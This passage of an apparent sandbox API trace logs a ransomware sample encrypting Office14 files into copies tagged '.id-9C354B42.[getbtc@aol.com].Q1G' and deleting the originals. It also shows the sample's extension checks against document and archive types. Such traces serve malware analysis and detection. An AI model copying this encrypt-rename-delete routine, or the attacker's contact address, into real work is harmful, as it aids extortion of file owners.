(lpString1=".1cd", lpString2="_DLL") returned -1 [0248.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0248.057] lstrlenW (lpString=".jpg") returned 4 [0248.057] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0248.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0248.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0248.057] lstrlenW (lpString=".doc") returned 4 [0248.057] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0248.057] lstrlenW (lpString=".docx") returned 5 [0248.057] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0248.057] lstrlenW (lpString=".pdf") returned 4 [0248.057] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0248.057] lstrlenW (lpString=".xls") returned 4 [0248.057] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0248.057] lstrlenW (lpString=".xlsx") returned 5 [0248.057] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0248.057] lstrlenW (lpString=".ppt") returned 4 [0248.057] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0248.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0248.057] lstrlenW (lpString=".zip") returned 4 [0248.057] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0248.057] lstrlenW (lpString=".rar") returned 4 [0248.057] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0248.057] lstrlenW (lpString=".bz2") returned 4 [0248.057] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0248.057] lstrlenW (lpString=".7z") returned 3 [0248.057] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0248.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0248.057] lstrlenW (lpString=".dbf") returned 4 [0248.057] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0248.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0248.057] lstrlenW (lpString=".1cd") returned 4 [0248.057] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0248.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0248.057] lstrlenW (lpString=".jpg") returned 4 [0248.057] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0248.058] lstrcmpiW (lpString1=".VRD", lpString2=".Q1G") returned 1 [0248.058] lstrlenW (lpString="EQPLIST.VRD") returned 11 [0248.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0248.095] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=1699) returned 1 [0248.095] CloseHandle (hObject=0x360) returned 1 [0248.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd")) returned 0x20 [0248.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0248.244] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.244] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0248.244] GetLastError () returned 0x0 [0248.244] ReadFile (in: hFile=0x200, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x6a3, lpOverlapped=0x0) returned 1 [0248.254] WriteFile (in: hFile=0x360, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x6b0, lpOverlapped=0x0) returned 1 [0248.255] ReadFile (in: hFile=0x200, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0248.255] WriteFile (in: hFile=0x360, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xea, lpOverlapped=0x0) returned 1 [0248.255] SetEndOfFile (hFile=0x360) returned 1 [0248.255] CloseHandle (hObject=0x360) returned 1 [0248.255] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.255] SetEndOfFile (hFile=0x200) returned 1 [0248.257] CloseHandle (hObject=0x200) returned 1 [0248.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.298] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd")) returned 1 [0248.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0248.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0248.298] lstrlenW (lpString=".doc") returned 4 [0248.298] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0248.298] lstrlenW (lpString=".docx") returned 5 [0248.298] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0248.298] lstrlenW (lpString=".pdf") returned 4 [0248.298] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0248.298] lstrlenW (lpString=".xls") returned 4 [0248.298] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0248.298] lstrlenW (lpString=".xlsx") returned 5 [0248.298] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0248.298] lstrlenW (lpString=".ppt") returned 4 [0248.298] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0248.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0248.298] lstrlenW (lpString=".zip") returned 4 [0248.298] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0248.298] lstrlenW (lpString=".rar") returned 4 [0248.299] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0248.299] lstrlenW (lpString=".bz2") returned 4 [0248.299] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0248.299] lstrlenW (lpString=".7z") returned 3 [0248.299] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0248.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0248.299] lstrlenW (lpString=".dbf") returned 4 [0248.299] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0248.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0248.299] lstrlenW (lpString=".1cd") returned 4 [0248.299] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0248.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0248.299] lstrlenW (lpString=".jpg") returned 4 [0248.299] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0248.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0248.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0248.299] lstrlenW (lpString=".doc") returned 4 [0248.299] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0248.299] lstrlenW (lpString=".docx") returned 5 [0248.299] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0248.299] lstrlenW (lpString=".pdf") returned 4 [0248.299] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0248.299] lstrlenW (lpString=".xls") returned 4 [0248.299] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0248.299] lstrlenW (lpString=".xlsx") returned 5 [0248.299] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0248.299] lstrlenW (lpString=".ppt") returned 4 [0248.299] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0248.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0248.299] lstrlenW (lpString=".zip") returned 4 [0248.299] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0248.299] lstrlenW (lpString=".rar") returned 4 [0248.299] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0248.299] lstrlenW (lpString=".bz2") returned 4 [0248.300] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0248.300] lstrlenW (lpString=".7z") returned 3 [0248.300] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0248.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0248.300] lstrlenW (lpString=".dbf") returned 4 [0248.300] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0248.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0248.300] lstrlenW (lpString=".1cd") returned 4 [0248.300] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0248.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0248.300] lstrlenW (lpString=".jpg") returned 4 [0248.300] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0248.300] lstrcmpiW (lpString1=".HXC", lpString2=".Q1G") returned -1 [0248.300] lstrlenW (lpString="EXCEL_COL.HXC") returned 13 [0248.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0248.300] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=621) returned 1 [0248.300] CloseHandle (hObject=0x360) returned 1 [0248.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc")) returned 0x20 [0248.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0248.303] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.303] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0248.304] GetLastError () returned 0x0 [0248.304] ReadFile (in: hFile=0x360, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x26d, lpOverlapped=0x0) returned 1 [0248.331] WriteFile (in: hFile=0x338, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x270, lpOverlapped=0x0) returned 1 [0248.332] ReadFile (in: hFile=0x360, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0248.332] WriteFile (in: hFile=0x338, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xee, lpOverlapped=0x0) returned 1 [0248.333] SetEndOfFile (hFile=0x338) returned 1 [0248.333] CloseHandle (hObject=0x338) returned 1 [0248.333] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.333] SetEndOfFile (hFile=0x360) returned 1 [0248.536] CloseHandle (hObject=0x360) returned 1 [0248.536] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.545] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc")) returned 1 [0248.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0248.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0248.553] lstrlenW (lpString=".doc") returned 4 [0248.554] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0248.554] lstrlenW (lpString=".docx") returned 5 [0248.554] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0248.554] lstrlenW (lpString=".pdf") returned 4 [0248.554] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0248.554] lstrlenW (lpString=".xls") returned 4 [0248.554] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0248.554] lstrlenW (lpString=".xlsx") returned 5 [0248.554] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0248.554] lstrlenW (lpString=".ppt") returned 4 [0248.554] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0248.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0248.554] lstrlenW (lpString=".zip") returned 4 [0248.554] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0248.554] lstrlenW (lpString=".rar") returned 4 [0248.554] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0248.554] lstrlenW (lpString=".bz2") returned 4 [0248.554] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0248.554] lstrlenW (lpString=".7z") returned 3 [0248.554] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0248.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0248.554] lstrlenW (lpString=".dbf") returned 4 [0248.554] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0248.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0248.554] lstrlenW (lpString=".1cd") returned 4 [0248.554] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0248.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0248.554] lstrlenW (lpString=".jpg") returned 4 [0248.554] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0248.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0248.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0248.554] lstrlenW (lpString=".doc") returned 4 [0248.554] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0248.554] lstrlenW (lpString=".docx") returned 5 [0248.554] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0248.554] lstrlenW (lpString=".pdf") returned 4 [0248.555] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0248.555] lstrlenW (lpString=".xls") returned 4 [0248.555] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0248.555] lstrlenW (lpString=".xlsx") returned 5 [0248.555] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0248.555] lstrlenW (lpString=".ppt") returned 4 [0248.555] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0248.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0248.555] lstrlenW (lpString=".zip") returned 4 [0248.555] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0248.555] lstrlenW (lpString=".rar") returned 4 [0248.555] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0248.555] lstrlenW (lpString=".bz2") returned 4 [0248.555] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0248.555] lstrlenW (lpString=".7z") returned 3 [0248.555] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0248.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0248.555] lstrlenW (lpString=".dbf") returned 4 [0248.555] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0248.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0248.555] lstrlenW (lpString=".1cd") returned 4 [0248.555] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0248.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0248.555] lstrlenW (lpString=".jpg") returned 4 [0248.555] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0248.555] lstrcmpiW (lpString1=".VSL", lpString2=".Q1G") returned 1 [0248.555] lstrlenW (lpString="GANTT.VSL") returned 9 [0248.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0248.563] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=320880) returned 1 [0248.563] CloseHandle (hObject=0x3c0) returned 1 [0248.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl")) returned 0x20 [0248.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0248.697] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.697] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0248.781] GetLastError () returned 0x0 [0248.781] ReadFile (in: hFile=0x360, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x4e570, lpOverlapped=0x0) returned 1 [0248.793] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x4e580, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x4e580, lpOverlapped=0x0) returned 1 [0248.799] ReadFile (in: hFile=0x360, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0248.799] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0248.799] SetEndOfFile (hFile=0x3c0) returned 1 [0248.799] CloseHandle (hObject=0x3c0) returned 1 [0248.799] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.799] SetEndOfFile (hFile=0x360) returned 1 [0248.807] CloseHandle (hObject=0x360) returned 1 [0248.807] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.807] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl")) returned 1 [0248.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0248.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0248.808] lstrlenW (lpString=".doc") returned 4 [0248.808] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0248.808] lstrlenW (lpString=".docx") returned 5 [0248.808] lstrcmpiW (lpString1=".docx", lpString2="T.VSL") returned -1 [0248.808] lstrlenW (lpString=".pdf") returned 4 [0248.808] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0248.808] lstrlenW (lpString=".xls") returned 4 [0248.808] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0248.808] lstrlenW (lpString=".xlsx") returned 5 [0248.808] lstrcmpiW (lpString1=".xlsx", lpString2="T.VSL") returned -1 [0248.808] lstrlenW (lpString=".ppt") returned 4 [0248.808] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0248.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0248.808] lstrlenW (lpString=".zip") returned 4 [0248.808] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0248.808] lstrlenW (lpString=".rar") returned 4 [0248.808] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0248.808] lstrlenW (lpString=".bz2") returned 4 [0248.808] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0248.808] lstrlenW (lpString=".7z") returned 3 [0248.808] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0248.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0248.808] lstrlenW (lpString=".dbf") returned 4 [0248.808] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0248.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0248.808] lstrlenW (lpString=".1cd") returned 4 [0248.808] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0248.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0248.808] lstrlenW (lpString=".jpg") returned 4 [0248.808] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0248.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0248.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0248.808] lstrlenW (lpString=".doc") returned 4 [0248.808] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0248.808] lstrlenW (lpString=".docx") returned 5 [0248.809] lstrcmpiW (lpString1=".docx", lpString2="T.VSL") returned -1 [0248.809] lstrlenW (lpString=".pdf") returned 4 [0248.809] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0248.809] lstrlenW (lpString=".xls") returned 4 [0248.809] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0248.809] lstrlenW (lpString=".xlsx") returned 5 [0248.809] lstrcmpiW (lpString1=".xlsx", lpString2="T.VSL") returned -1 [0248.809] lstrlenW (lpString=".ppt") returned 4 [0248.809] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0248.809] lstrlenW (lpString="C:\\Program 